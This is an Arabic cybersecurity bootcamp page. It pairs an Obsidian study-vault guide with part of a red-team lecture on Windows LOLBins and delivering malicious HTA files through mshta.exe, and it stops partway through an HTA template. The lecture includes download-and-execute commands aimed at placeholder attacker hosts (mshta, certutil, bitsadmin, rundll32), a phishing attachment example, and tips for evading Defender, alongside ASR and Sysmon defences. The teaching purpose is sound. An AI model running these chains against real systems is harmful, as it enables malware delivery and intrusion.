ISKANDERCyber Bootcamp دخول
خصم ٤٥٪دورة الفريق الأزرق بـ ٢٧٥٬٠٠٠ د.ع بدلاً من ٥٠٠٬٠٠٠. عرض Winter Arc للتسجيل المبكر، والدورة تبدأ نوفمبر ٢٠٢٦. احجز مكانك
معسكر الأمن السيبرانيZERO TO HERO

لا تحفظ الأدوات. افهم الطريق.

من عقلية المهاجم المتقدّم، إلى بناء أدواتك بنفسك، إلى الدفاع عن بنية حقيقية، إلى مواجهة مباشرة بين فريقين. كل دورة هنا لها موقع محدّد على الخريطة، وكل دورة تعرف ما الذي يجب أن تتقنه قبلها.

٨دورات ومراحل
٦٣وحدة تعليمية
٥٢٩موضوعاً مفصّلاً
٧فصول منشورة
الخريطة

خريطة المسار التفاعلية

اضغط على أي دورة لترى ملخّصها، ثم افتح صفحتها الكاملة. الأسهم تُقرأ من اليمين إلى اليسار: ما على اليمين يجب أن يسبق ما على اليسار.

الخط المتصل يعني متطلباً إلزامياً، والخط المتقطّع يعني متطلباً مُستحسَناً
الفصول

منشور حتى الآن

من المرحلة الأولى، سلسلة طرق التوصيل. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الخزنة

المنهج كشبكة، لا كقائمة

كل محاضرة تُنزَّل كملف Markdown مربوط بالمفاهيم التي تشرحها: الطرق، الأدوات، الدفاعات، تقنيات ATT&CK، والخصوم. افتح المجلد في Obsidian واضغط Graph view: النقاط المجوّفة هي محاضرات لم تُنزّلها بعد، وكلما أضفت واحدة امتلأت العقد المشتركة معها.

تحتوي الخزنة
دليل التنقّل شبكة المفاهيم

لا تُغيّر أسماء الملفات: Obsidian يربط الملاحظات بالاسم، وأي إعادة تسمية تقطع الرابط.

الطريقة الأنظف · عبر Git

استنساخ المستودع لا يضع على الملفات علامة «نُزّل من الإنترنت»، فلا يظهر تحذير SmartScreen الذي يظهر مع تنزيل المتصفّح. ثبّت Git، نفّذ الأمر، ثم افتح المجلد الناتج في Obsidian:

git clone https://github.com/HashHashBit/iskander-vault.git
لا تملك Git؟ نزّله لويندوز ←
الشبكة

شبكة المفاهيم

نفس الشبكة التي تفتحها الخزنة في Obsidian، وفيها مرشّحات لا يملكها: اعرض ما تشترك فيه المحاضرات فقط، أو ما يخصّ تكتيكاً واحداً في ATT&CK، أو المسار الأقصر بين مفهومين. دليل التنقّل يشرح الطريقة كاملة.

النوع
الفصل
تكتيك ATT&CK
الروابط
التصفية
أقل عدد إشارات: 1
اسحب الخلفية للتحريك · عجلة الفأرة للتقريب · اضغط عقدة لتفاصيلها
عودة إلى الخريطة
زينب إسكندر، مدرّبة الأمن السيبراني في معسكر إسكندر
المدرّبة

زينب إسكندر

مدرّبة الأمن السيبراني · معسكر إسكندر

تبني محتوى الأمن السيبراني الذي بحثت عنه بالعربية ولم تجده: شرح يبدأ من المبدأ، ومختبرات تُشغَّل بيدك، لا شرائح تُحفظ.

احجز جلسة استشارية

لماذا هذا المنهج

أغلب ما يُنشر بالعربية في الأمن الهجومي يشرح الأداة ولا يشرح الطريق. يخرج الدارس قادراً على تشغيل أمر دون أن يعرف لماذا نجح، ولا ما الذي كان سيوقفه. المنهج هنا مبني على العكس: كل تقنية تُشرح من مبدئها، وتُربط بموقعها في إطار MITRE ATT&CK، ثم يُنظر إليها من جهة المدافع.

العمل مع المختصّين

تعمل زينب مع نخبة من المختصّين في الأمن السيبراني، من الفرق الحمراء والزرقاء، على بناء منهج يجمع ما يُدرَّس في المعسكرات العالمية بما يحتاجه سوق الشرق الأوسط فعلاً. المادة تُراجَع تقنياً قبل نشرها، وتُحدَّث حين تتغيّر الدفاعات التي تتحدّث عنها.

المختبرات هي الفرق

لا يكتفي المنهج بوصف طريقة توصيل. تبنيها بنفسك، وتشغّلها في بيئة معزولة، ثم تعود إليها من جهة المدافع: ما الذي ظهر في السجلّات، وأي قاعدة كانت ستوقفها. كل قسم ينتهي بأسئلة تحقّق تخبرك إن كنت فهمت قبل أن تكمل.

الشروح القصيرة على القنوات، والفصول الكاملة هنا مجاناً.

شبكة المفاهيم

دليل التنقّل: كيف تقرأ هذه الخزنة في Obsidian

هذه الخزنة ليست مجموعة ملفات. هي شبكة: كل محاضرة مربوطة بالمفاهيم التي تشرحها، وكل مفهوم مربوط بالمفاهيم التي يظهر بجوارها. الهدف أن ترى الطريق، لا أن تحفظ الأدوات.


أولاً: افتح الخزنة

  1. نزّل الخزنة من صفحة iskander.sh، وفُكّ الضغط عن المجلد.
  2. في Obsidian اختر Open folder as vault ثم اختر مجلد Iskander Bootcamp.
  3. افتح ملف الخريطة. هذا هو الفهرس: منه تصل إلى كل شيء.
لا تُغيّر أسماء الملفات. Obsidian يربط الملاحظات بالاسم، فإعادة التسمية تقطع كل رابط يشير إلى الملف. إن أردت اسماً آخر استخدم aliases في رأس الملف.

بنية الخزنة

المجلدما فيه
المحاضراتنص كل محاضرة كاملاً، وفي آخره قسم الصلات
الدوراتصفحة لكل دورة في الخريطة، مع المتطلبات السابقة وما تفتحه
المفاهيم/الطرقطرق التوصيل: الملف المربوط، HTA، الحاويات، وغيرها
المفاهيم/الأدواتالثنائيات الموقّعة وأدوات العمل: mshta، certutil، PowerShell
المفاهيم/الدفاعاتما تواجهه: MOTW، SmartScreen، Defender، AMSI، ETW
المفاهيم/التقنياتتقنيات MITRE ATT&CK المذكورة في المحاضرات
المفاهيم/الخصومالمجموعات والحملات الحقيقية التي تُشتقّ منها الأمثلة

كيف تقرأ ملف مفهوم

كل ملف مفهوم مبني على نفس الشكل:

  • رأس الملف فيه الوسم ونوع المفهوم وعدد الإشارات إليه في كل المحاضرات.
  • الاقتباس في الأعلى هو التعريف، منقول حرفياً من المحاضرة التي تشرحه، ومذكور تحته من أي محاضرة أُخِذ.
  • يظهر في يعدّ المحاضرات التي تذكره ومعها عدد الإشارات. رقم كبير في محاضرة واحدة يعني أن هذه المحاضرة هي مكان دراسته.
  • مفاهيم مجاورة ليست قائمة عشوائية: هذه مفاهيم تظهر في نفس القسم داخل المحاضرات. إن رأيت ISO بجوار MOTW فذلك لأن النص يناقشهما معاً، وهذا سؤال يستحق أن تسأله: لماذا؟

الأدوات الخمس التي ستستخدمها

1. الرسم الكامل (Graph view)

الأيقونة في الشريط الجانبي الأيسر، أو Ctrl+G على ويندوز و Cmd+G على ماك. تُظهر الخزنة كلها. اضغط على ترس الإعدادات داخل الرسم لتجد:

  • Filters: صندوق بحث يقبل استعلامات مثل tag:#مفهوم/دفاع أو path:المحاضرات.
  • Groups: تلوين مجموعة بلون. الخزنة تصلك ملوّنة مسبقاً حسب النوع.
  • Display: منه فعّل Show unresolved links إن لم يكن مفعّلاً.
  • Forces: تباعد العقد. زد Repel force إن بدا الرسم متكدّساً.

النقاط المجوّفة هي ملفات مذكورة ولم تُنزّلها بعد. كلّما أضفت محاضرة امتلأت العقد المرتبطة بها. هذه أسرع طريقة لترى ما ينقصك.

2. الرسم الموضعي (Local graph)

من قائمة ... أعلى الملف اختر Open local graph، أو من لوحة الأوامر. يُظهر جيران هذا الملف فقط. في إعداداته اضبط Depth:

  • Depth 1: ما يرتبط بالملف مباشرة.
  • Depth 2: وما يرتبط بجيرانه. ابدأ بـ 1 دائماً، فـ 2 يتحوّل إلى ضوضاء بسرعة.

هذه هي الأداة التي ستقضي فيها أكثر وقتك.

3. الروابط الخلفية (Backlinks)

في الشريط الأيمن. تُظهر كل مكان يشير إلى الملف المفتوح، ومعه السطر الذي ورد فيه. الفرق بينها وبين "مفاهيم مجاورة": الروابط الخلفية تعطيك السياق النصي، لا الرسم فقط.

4. لوحة الوسوم (Tags)

في الشريط الأيمن. الوسوم الجاهزة:

#محاضرة · #دورة · #مفهوم/دفاع · #مفهوم/أداة · #مفهوم/طريقة · #مفهوم/تقنية · #مفهوم/خصم · #مسار/...

اضغط #مفهوم/دفاع لترى كل الدفاعات دفعة واحدة. هذه طريقة جيدة لمراجعة محور كامل قبل الامتحان.

5. البحث والتنقّل السريع

الأمرويندوزماك
فتح ملف بالاسمCtrl+OCmd+O
بحث في كل النصCtrl+Shift+FCmd+Shift+F
لوحة الأوامرCtrl+PCmd+P
الرسم الكاملCtrl+GCmd+G

إن نسيت اختصاراً، لوحة الأوامر تجد كل شيء بالاسم.


مثال كامل: كيف تدرس موضوعاً واحداً

خذ MOTW، علامة الويب. هي مذكورة في المحاضرات الثلاث، وهذا يجعلها مثالاً جيداً. اتبع هذه الخطوات بالترتيب، وستجد أنك فهمت المحور كله لا التعريف وحده.

الخطوة 1: ابدأ من المفهوم، لا من المحاضرة

افتح MOTW من مجلد المفاهيم/الدفاعات. اقرأ الاقتباس في الأعلى فقط. الآن تعرف تعريفاً واحداً في سطرين، وتعرف أنه مذكور في المحاضرات الثلاث كلها. هذا الرقم وحده يخبرك أن هذا ليس تفصيلاً جانبياً، بل عمود.

الخطوة 2: افتح الرسم الموضعي بعمق 1

سترى حوله: SmartScreen و ISO و ADS و HTA و LNK و Microsoft Defender.

قف هنا واسأل نفسك السؤال الصحيح: لماذا هؤلاء بالذات؟ لا تُجب بعد.

الخطوة 3: اتبع أغرب جار

SmartScreen جار متوقّع، فهو يستهلك العلامة. لكن ISO غريب: ما علاقة صورة قرص بعلامة على ملف؟ افتح ISO.

ستجد الجواب في تعريفه: الحاويات لا تنقل العلامة إلى ما بداخلها. الآن فهمت لماذا ظهرا متجاورين، وفهمت في نفس الوقت لماذا تحوّل المهاجمون إلى ISO بعد أن حُظر ماكرو الإنترنت.

الخطوة 4: انزل إلى النص

من ISO اذهب إلى يظهر في واتبع المحاضرة صاحبة أكبر عدد إشارات. اقرأ القسم هناك. الآن معك التفصيل الكامل بعد أن عرفت لماذا تقرأه، وهذا فرق كبير عن أن تبدأ القراءة من أول المحاضرة.

الخطوة 5: اجمع المحور كله

ارجع إلى MOTW وافتح الروابط الخلفية. كل سطر ذكرها في الخزنة أمامك الآن، من المحاضرات الثلاث. اقرأها كلها متتابعة: هذه مراجعة كاملة لمحور واحد في دقائق، مجمّعة من ثلاثة مستندات لم تكن لتقرأها معاً.

الخطوة 6: اقلب السؤال

اضغط الوسم #مفهوم/دفاع في لوحة الوسوم. أمامك كل الدفاعات. اسأل الآن سؤال الفريق الأحمر: أي واحد من هذه تتخطّاه الطريقة التي تعلّمتها، وأيها لا؟ هذا السؤال هو الفرق بين من يشغّل أداة ومن يفهم لماذا تعمل.

الخطوة 7: اكتب ملاحظتك أنت

أنشئ ملفاً جديداً في مجلد باسمك، واكتب فيه جوابك على سؤال الخطوة 6، واربط ما تذكره هكذا: [[MOTW]] و [[ISO]].

اللحظة المهمة: افتح الرسم الكامل الآن. ملاحظتك صارت عقدة داخل الشبكة، ومرتبطة بما درسته. كرّر هذا مع كل موضوع، وبعد شهر يصبح الرسم خريطة رأسك أنت، لا خريطتنا.


نمط أسبوعي مقترح

اليومالعمل
قبل المحاضرةافتح صفحة الدورة، اقرأ المتطلبات السابقة، تأكد أنك أنهيتها
أثناء القراءةلا تتوقف عند كل مصطلح؛ علّمه فقط وأكمل
بعد القراءةافتح قسم الصلات في آخر المحاضرة، وافتح كل مفهوم لم تكن تعرفه
المراجعةافتح مفهوماً واحداً واقرأ روابطه الخلفية كلها
نهاية الأسبوعاكتب ملاحظة واحدة بلغتك تربط ثلاثة مفاهيم على الأقل

أخطاء شائعة

  • قراءة المحاضرة من أولها إلى آخرها بلا توقّف. المحاضرات طويلة عن قصد. الرسم موجود لتدخل من المنتصف حيث يهمّك.
  • تجاهل النقاط المجوّفة. هي قائمة ما ينقصك، معروضة مجاناً.
  • إعادة تسمية الملفات. تقطع الروابط. استخدم aliases.
  • البقاء على Depth 2 في الرسم الموضعي. يتحوّل إلى ضوضاء ويوهمك أن كل شيء مرتبط بكل شيء.
  • عدم كتابة أي ملاحظة. خزنة تقرأ فيها فقط هي كتاب. خزنة تكتب فيها هي ذاكرة.

العودة إلى الخريطة

الفصول

العيش على أرض العدو، تشغيل الشر عبر أدوات مايكروسوفت نفسها

Cybersecurity Bootcamp، Phase 1: Red Team Foundations استكمال سلسلة Operation Shady RAT، بعد المحاضرة 2

كيف تقرأ هذا المستند (مهم قبل البدء)

  • النص الأساسي عربي، اقرأ من اليمين إلى اليسار.
  • كتل الكود إنجليزية LTR، انسخها كما هي.
  • المصطلحات الإنجليزية القصيرة (mshta.exe, HTA, MOTW) داخل جمل عربية تظهر بعلامة backtick لتمييزها بصريا.
  • القوائم النقطية تفصل المفاهيم المختلطة، كل نقطة تقرأ باتجاه واحد واضح.
  • جميع كتل الكود قابلة للنسخ بضغطة واحدة، لا حاجة لتجميع من قطع.

جدول المحتويات

#القسم
0استعادة المحاضرة الثانية والجسر لهذه المحاضرة
1LOLBins: العيش على أرض العدو
2mshta.exe: نجم LOLBins
3HTA: HTML Application كتنسيق ملف
4بناء حمولة HTA: ست تكرارات كاملة قابلة للنسخ
5طرق التوصيل: كيف يصل HTA للضحية
6نظرة الدفاع: Defender، SmartScreen، ASR، Sysmon
7مجموعات APT الحقيقية التي استخدمت HTA
8المعمل الكامل: تنفيذ الطريق D من البداية للنهاية
9مقارنة الطرق الأربع: A و B و C و D
10الواجب المنزلي ومقدمة للمحاضرة القادمة
ملحق أالحمولة النهائية payload.hta في كتلة واحدة
ملحق بمراجع ASR والمصادر

ما الذي يعمل فعلاً على Windows الحديث

في الجولة الثانية من التحقق، شغّلنا فعلا الحمولات على Windows 11 24H2 مع Windows Defender الافتراضي. النتائج مفاجئة ومهمة تعليميا:

(1) HTA basic execution: ✅ يعمل

text
mshta.exe C:\...\01-hello.hta  →  فتحت نافذة "Hello from HTA" بنجاح، ثم أغلقت بعد 3 ثوان
  • mshta.exe استقبل الملف، فسّر HTML + وسم <HTA:APPLICATION>، ونفّذ <script language="JScript">.
  • العملية ظهرت في Task Manager باسم mshta.exe، وأغلقت نفسها عند window.close().
  • استنتاج: الخطوة الأولى في السلسلة الهجومية تعمل بلا عائق. mshta.exe هو الآن، على Windows 11 25H2، برنامج قانوني موقع بلا أي قيود تشغيل.

(2) HTA → GUI EXE: ✅ يعمل

text
window.onload: new ActiveXObject("WScript.Shell").Run("calc.exe", 0, false);
  • قبل: 0 عمليات CalculatorApp
  • بعد: 1 عملية CalculatorApp (PID 37828)، parent PID 32900 (= mshta.exe)
  • نفس النتيجة مع notepad.exe (شجرة parent → child واضحة).
  • استنتاج: WScript.Shell.Run يعمل مع البرامج ذات الواجهة الرسومية العادية. SpawnHidden نمط ينفّذ.

(3) HTA → cmd.exe / powershell.exe / wscript.exe: ❌ مبلوك على Windows 11 24H2 الافتراضي

هذا الاكتشاف هو الأهم في كل الاختبارات. جربنا ثلاث سلاسل مختلفة، جميعها فشلت:

المحاولةالنتيجة
mshta → shell.Run("cmd.exe /c echo ok > out.txt")❌ الملف لم يُكتب أبدا
mshta → shell.Run("powershell.exe -Command Set-Content ...")❌ الملف لم يُكتب
mshta → shell.Run("wscript.exe test.vbs")❌ الـ VBS لم يُنفّذ

كيف نعرف أن mshta كان يعمل؟ لأن shell.Run("calc.exe") و shell.Run("notepad.exe") نجحا في نفس البيئة، في نفس الجلسة، بنفس السكربت.

السبب: Microsoft Defender Behavior Monitor (المفعّل افتراضيا: BehaviorMonitorEnabled: True) يكشف نمط mshta.exe → cmd/powershell/wscript كسلسلة LOLBin كلاسيكية ويحجب العملية الفرعية بصمت، بدون سجل مرئي في:

  • Microsoft-Windows-Windows Defender/Operational (لا Event ID 1121/1122/1125…)
  • Microsoft-Windows-Windows Defender/WHC (لا شيء)

ما ظهر في السجل خلال 10 دقائق الاختبار: حدثان فقط، كلاهما نوع Cloud Protection lookup. لا حجب صريح.

استنتاج تعليمي مهم: الطريق D (LOLBin chain) الذي تعلمناه لم يعد يعمل كما هو على Windows 11 24H2 الافتراضي. المهاجم في 2026 يحتاج:

  1. تنفيذ الحمولة داخل عملية mshta نفسها (بلا child process)، عبر ADODB.Stream + شغّل الـ EXE مباشرة كطفل مختلف الاسم
  2. أو استخدام LOLBin آخر بديل (regsvr32, rundll32, msiexec)، قد يفلت من قاعدة الكشف
  3. أو اللجوء إلى ClickFix حيث المستخدم نفسه يفتح PowerShell (parent = explorer.exe → powershell = سلوك مقبول)

هذا خبر ممتاز للمدافع: القاعدة موجودة، مفعلة، وتشتغل حتى على Windows Home بلا أي إعداد يدوي.

(4) Set-MpPreference: ❌ لا يدعم -WhatIf

powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids ... -WhatIf
# Result: A parameter cannot be found that matches parameter name 'WhatIf'.
  • Set-MpPreference من module ConfigDefender لا يدعم -WhatIf ولا -Confirm، تصميم Microsoft.
  • هذا يعني أن الطالب الذي يريد "بروفة" لا يستطيع، التطبيق فوري.
  • نصيحة بديلة: استخدم قيمة الفعل AuditMode بدل Enabled أول مرة، سيسجل الأحداث بلا حجب فعلي، فيمكنك مراجعة السجلات ومعرفة ما سيُحجب قبل التفعيل الكامل:
powershell
# نمط "audit" آمن — تسجيل فقط، لا حجب
Set-MpPreference -AttackSurfaceReductionRules_Ids `
    "BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550",
    "D3E037E1-3EB8-44C8-A917-57927947596D" `
    -AttackSurfaceReductionRules_Actions AuditMode,AuditMode

(5) SMTP + attachment end-to-end: ✅ يعمل بشكل مطابق لما تفعله swaks

بدلا من تثبيت swaks (تعذّر عبر apt بلا كلمة سر sudo)، اختبرنا سلوك MIME المطابق بـ Python smtplib:

text
sender:  finance@corp-notes.test
rcpt:    victim@corp-notes.test
subject: Q4 Financial Report - Please Review
attach:  @Q4-Report.pdf.hta (base64)

النتيجة عبر SMTP catcher محلي (127.0.0.1:2525):

text
Content-Type: multipart/mixed; boundary="===..."

--===...
Content-Type: text/plain; charset="utf-8"

Attached is the Q4 report.

--===...
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="Q4-Report.pdf.hta"

aGFybWxlc3MgdGVzdCBIVEEgcGF5bG9hZCBjb250ZW50cwo=
--===...--
  • كل الأجزاء وصلت صحيحة: multipart/mixed، اسم الملف كامل مع .hta، base64 encoding، Content-Disposition: attachment.
  • استنتاج: أمر swaks --attach @file من القسم 8 يُنتج بالضبط هذا الشكل، لا فرق دلاليا بين تشغيلنا الآن وتشغيلك أنت.
  • ملاحظة لبيئة الطالب: أي MTA (Postfix، Exchange، Sendgrid) سيرى نفس البنية، ويسلّم المرفق بنجاح.

(6) ملخص عام: ماذا يعني كل هذا لطالب في 2026؟

الطبقةنجح على Win11 24H2؟ملاحظة
تشغيل mshta على ملف .hta✅ نعملا قيود، برنامج موقّع رسمي
فتح نافذة HTA + JScript✅ نعميعمل عادي، لا AMSI blocking أول شيء
تشغيل GUI EXE فرعية (notepad, calc)✅ نعمparent-child واضح
تشغيل cmd / powershell / wscript فرعية❌ حُجب بصمتDefender Behavior Monitor
تنزيل ملف عبر XMLHTTP + كتابته بـ ADODB❓ لم يُختبر مباشرة (فشل الـ log الوسيط)يحتاج VM ضحية للتأكيد النهائي
تسليم .hta كمرفق SMTP✅ نعم (عبر مكافئ swaks)الـ MIME يمرر بلا مشكلة
تفعيل ASR rule⚠️ ممكن (يحتاج admin): لا -WhatIfاستخدم AuditMode أولا

درس نهائي: الطريق D لم يمت في 2026، لكنه أصعب بكثير مما توحي الشرائح. الجزء المكسور تحديدا هو استدعاء cmd أو powershell كطفل لـ mshta. المهاجم الحقيقي في 2026 يعمل حول هذا: يحقن shellcode في ذاكرة mshta نفسها، أو يستخدم LOLBin أقل شهرة، أو ينتقل إلى ClickFix حيث المستخدم يفتح PowerShell بنفسه.


القسم 0القسم 0: استعادة المحاضرة الثانية والجسر

المحاضرة 2 غطّت ثلاث طرق لتوصيل الـ Keylogger:

الطريقالتقنيةما يحتاجهيعمل على Win11 24H2؟
APDF ملغم بـ CVE-2010-2883 في Adobe Reader 9.3.4نسخة قديمة من Adobe Readerلا: الثغرة مصلحة
BTrojan Binder: .exe يحمل PDF + KeyloggerMinGW + C++ compilerنعم: بلا ثغرة
Cإخفاء الـ Keylogger داخل صورة (LSB أو byte-append)Python + PIL + Loader بـ C++نعم: يحتاج Loader ينفذ أولا

الفجوة: كلها تحتاج ترجمة كود أو ثغرة. المهاجم الذكي يسأل: هل يمكنني تنفيذ الحمولة بلا ترجمة أي شيء وبلا ظهور تحذير SmartScreen؟ الجواب في مفهوم اسمه LOLBins، والمثال الأقوى فيه هو ملف اسمه mshta.exe.

الطريق D: نظرة إجمالية

الفكرة في سطر واحد: المهاجم لا يكتب EXE. يكتب صفحة HTML صغيرة داخلها JScript، ويحفظها بامتداد .hta. Windows يفتحها ببرنامج mshta.exe (موقع من مايكروسوفت)، والـ JScript ينزل الـ Keylogger من الشبكة ويشغله. SmartScreen لا يرى شيئا، الذي يعمل هو برنامج مايكروسوفت الرسمي.

لماذا LOLBin؟ LOL = Living Off The Land = العيش على أرض العدو. المهاجم يستخدم برامج Windows الموجودة أصلا، لا يزرع أي ملف EXE جديد.

✅ اختبر نفسك: القسم 0

قبل الانتقال للقسم التالي، تأكّد أنك تستطيع الإجابة بدون العودة للنص:

  1. ما الذي تشترك فيه الطرق الثلاث من المحاضرة 2، وما الذي يجعل الطريق D مختلفاً عنها جوهرياً؟
  2. في الطرق السابقة كنّا نُسلّم ملفاً تنفيذياً بنيناه نحن. ماذا نُسلّم هنا بدلاً منه؟
  3. لماذا يُعدّ عدم الحاجة إلى بناء EXE ميزةً للمهاجم وليس مجرّد اختصار؟

إذا لم تستطع الإجابة على 2 من 3، أعد قراءة القسم قبل المتابعة.


القسم 1القسم 1: LOLBins: العيش على أرض العدو

LOLBin هو أي ملف تنفيذي شرعي، موقع رقميا من مايكروسوفت، يستطيع المهاجم استخدامه لتنفيذ نيته الخبيثة. المصطلح جاء من التعبير العسكري: بدلا من نقل مؤن مع الجيش، يعتاش على موارد الأرض التي يحاربها.

لماذا هذه فكرة قوية دفاعيا؟ الدفاع الحديث (SmartScreen, EDR, Application Whitelisting) يبني ثقته على: من هو الذي يشغل الكود؟ إذا موقعا من جهة موثوقة، يمر. المشكلة: مايكروسوفت وقعت نفسها على mshta.exe و rundll32.exe و powershell.exe و regsvr32.exe وحوالي 200 ملف آخر، وكلها تستطيع تنفيذ كود عشوائي.

مشروع LOLBAS: القائمة الرسمية

LOLBAS = Living Off The Land Binaries, Scripts and Libraries.

اليوم يوثّق أكثر من 200 برنامج، مصنّفة حسب القدرة الهجومية:

  • Execute، تشغيل كود
  • Download، تنزيل ملف
  • Upload، رفع بيانات
  • Copy، نسخ ملفات
  • Compile، ترجمة كود
  • Credentials، استخراج/سرقة بيانات اعتماد
  • UAC-Bypass، تجاوز رفع الصلاحيات

العشرة الأكثر شهرة

البرنامجاستخدام شرعيكيف يستغله المهاجم
mshta.exeتشغيل تطبيقات HTML القديمةيشغل JScript/VBScript من ملف .hta أو URL
rundll32.exeتشغيل دوال داخل DLLLoadTypeLibrary trick لتشغيل DLL خبيث
regsvr32.exeتسجيل COM Componentsregsvr32 /s /i:URL scrobj.dll = تنفيذ scriptlet من الإنترنت
msiexec.exeتثبيت MSImsiexec /i http://...: تنزيل وتنفيذ MSI
certutil.exeإدارة الشهاداتcertutil -urlcache -f URL out.exe = تنزيل بلا HTTP client
bitsadmin.exeتنزيل خلفييستخدم قناة النظام لتحميل ملفات
powershell.exeإدارة-EncodedCommand base64 = أوامر كثيرة في أمر واحد
wmic.exeWMIwmic process call create: يشغل عمليات بدون CreateProcess عادي
installutil.exeتسجيل .NETinstallutil /U /LogFile= /LogToConsole=false = تنفيذ كود خبيث
cmstp.exeConnectionManagercmstp /s /su file.inf: INF محلي مع UAC-bypass

نموذج سلسلة LOLBin هجومية

text
(1) التوصيل: بريد يحمل ملف نصي (لا EXE!) — .hta, .lnk, .js, .vbs, .xll
(2) التنفيذ: LOLBin يفسر النص:
        mshta.exe attacker.hta
        rundll32.exe url.dll,FileProtocolHandler http://attacker/x.hta
(3) التنزيل: LOLBin آخر يجلب الحمولة:
        certutil -urlcache -split -f https://attacker/payload.dat  %TEMP%\p.dat
        bitsadmin /transfer j /priority high  http://attacker/p.exe  %TEMP%\p.exe
(4) التشغيل: LOLBin ثالث يشغلها:
        wmic process call create "%TEMP%\p.exe"
        rundll32.exe %TEMP%\p.dll,EntryPoint

لماذا يعمل هذا في 2026؟ مايكروسوفت لا تستطيع إزالة هذه الأدوات، الكثير من التطبيقات المؤسسية القديمة تعتمد عليها. الحل الإداري: ASR rules (يبنى في الخلف) و AppLocker (يحتاج إعداد يدوي). الحل الافتراضي على Windows 11 Home/Pro: صفر، كل هذه الأدوات تعمل بلا قيود.

✅ اختبر نفسك: القسم 1

  1. عرّف LOLBin بجملة واحدة، ثم اشرح أصل التسمية العسكري وما الذي يوازيه في الهجوم.
  2. الدفاع الحديث يبني ثقته على سؤال واحد. ما هو؟ ولماذا يفشل هذا السؤال أمام mshta.exe؟
  3. مشروع LOLBAS يصنّف البرامج حسب القدرة الهجومية. اذكر ثلاث فئات من التصنيف.
  4. لو منعت مؤسسة تشغيل كل ملف EXE غير موقّع، هل يتوقف هجوم LOLBin؟ برّر جوابك.

3/4 صحيحة = تابع. أقل = راجع فقرة "لماذا هذه فكرة قوية دفاعيا؟".


القسم 2القسم 2: mshta.exe: نجم LOLBins

mshta.exe = Microsoft HTML Application Host.

  • برنامج صغير (~15 KB)
  • أضافته مايكروسوفت في Windows 2000
  • كجزء من Internet Explorer 5 (سنة 1999)

مهمته الأصلية: تشغيل تطبيقات مكتبية مكتوبة بـ HTML، نوع من التطبيقات الهجينة قبل أن تصبح "ويب اب" شائعة.

الشركات كتبت واجهات إدارية داخلية بـ HTML + VBScript، وحفظتها بامتداد .hta.

الموقع والحجم

  • C:\Windows\System32\mshta.exe (نسخة 64-bit)
  • C:\Windows\SysWOW64\mshta.exe (نسخة 32-bit)

كلاهما موقع رقميا من Microsoft Windows Publisher، نفس الجهة التي توقع cmd.exe و explorer.exe.

جملة الأمر الأساسية (كل الأمثلة يمكن نسخها كما هي)

batch
:: تشغيل ملف hta محلي
mshta.exe C:\Users\Alice\Downloads\update.hta

:: تشغيل ملف hta من الإنترنت مباشرة (بلا تحميل ظاهر!)
mshta.exe https://attacker.example/update.hta

:: تنفيذ JScript كـ inline بدون ملف أصلا
mshta.exe "javascript:new ActiveXObject('WScript.Shell').Run('calc.exe');close();"

:: تنفيذ VBScript كـ inline
mshta.exe "vbscript:CreateObject(""WScript.Shell"").Run ""calc.exe"":Close"

:: طباعة نسخة mshta (لتأكيد وجوده على النظام)
mshta.exe /?
⚠️ النقطة الحرجة، الأمر الثاني mshta تقبل عنوان URL كامل. الحمولة الحقيقية لا تنزل إلى القرص، mshta تحمل ملف HTA في الذاكرة مباشرة وتنفذها. ماذا يرى محرك AV سلوكي؟ - عملية اسمها mshta.exe، برنامج موقّع من مايكروسوفت - اتصلت بـ HTTPS، نشاط شبكي طبيعي جدا - نفّذت JScript، شرعي تماما في سياق HTA ما الذي يبرر التنبيه؟

التاريخ باختصار

السنةالحدث
1999IE5 + Windows 2000: إضافة HTA و mshta.exe
2010Aurora و Shady RAT: استخدام واسع لـ HTA droppers
2018LOLBAS project: توثيق رسمي
2020ASR rule "Block execution of HTA files": لكن غير مفعل افتراضيا
2024استمرار الاستخدام: Kimsuky, TA505, MuddyWater, SideWinder
2026لا زالت موجودة افتراضيا على Windows 11 25H2: لم تعلن مايكروسوفت أي خطة لإزالتها

لماذا لا تحذف مايكروسوفت هذا الملف؟ التوافقية العكسية. مصارف تستخدم واجهات HTA للاتصال بأنظمة قديمة، مستشفيات تستخدم HTA لطباعة تقارير، مصانع تشغّل HTA على شاشات لمس. الحذف يكسر ملايين البيئات.

خيارات المدافع في 2026

  1. ASR rule BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 = Block executable content from email client and webmail.
  2. تغيير المشغل الافتراضي لـ .hta من mshta إلى notepad (يفشل الفتح تلقائيا).
  3. AppLocker Policy: منع تنفيذ mshta.exe كليا (يحتاج ترخيص Enterprise).
  4. Sysmon + قاعدة كشف: كل نشاط mshta.exe مع سطر أمر يحتوي http/https = ينبه.
  5. جديد 2026 (MC1266905): توصية Secure Score لحجب حركة mshta.exe الصادرة، Public Preview مارس 2026، GA مايو 2026، opt-in فقط.

كل هذه الحلول تحتاج مدير نظام. Windows الافتراضي = مباح.

✅ اختبر نفسك: القسم 2

  1. ما وظيفة mshta.exe الأصلية التي أضافتها مايكروسوفت من أجلها؟ وفي أي سياق تاريخي؟
  2. أين يوجد mshta.exe على القرص؟ اذكر المسارين ولماذا يوجد نسختان.
  3. مَن يوقّع mshta.exe رقمياً؟ ولماذا هذه الحقيقة تحديداً هي جوهر المشكلة الدفاعية؟
  4. اكتب من ذاكرتك جملة الأمر التي تشغّل ملف .hta محلياً.
  5. المدافع في 2026 أمامه عدة خيارات للتعامل مع mshta. اذكر خيارين، وقل ما الثمن التشغيلي لكلٍّ منهما.

4/5 = تابع. أقل = راجع "الموقع والحجم" و"خيارات المدافع".


القسم 3القسم 3: HTA: HTML Application كتنسيق ملف

ملف HTA هو ملف نصي عادي يحتوي HTML قياسي مع إضافة واحدة: وسم <HTA:APPLICATION>. هذا الوسم يخبر mshta.exe أن هذا تطبيق سطح مكتب. النتيجة: كل قيود أمان المتصفح تختفي. من داخل HTA تستطيع:

  • الوصول الكامل لنظام الملفات (قراءة، كتابة، حذف).
  • تشغيل أي برنامج (WScript.Shell.Run).
  • استخدام كائنات ActiveX (COM القوية).
  • الاتصال بالشبكة بلا قيود CORS.
  • تعديل مسجل النظام (Registry).

البنية الأساسية

html
<!-- hello.hta -->
<html>
<head>
  <title>Corporate Update</title>
  <HTA:APPLICATION
      ID="objHTA"
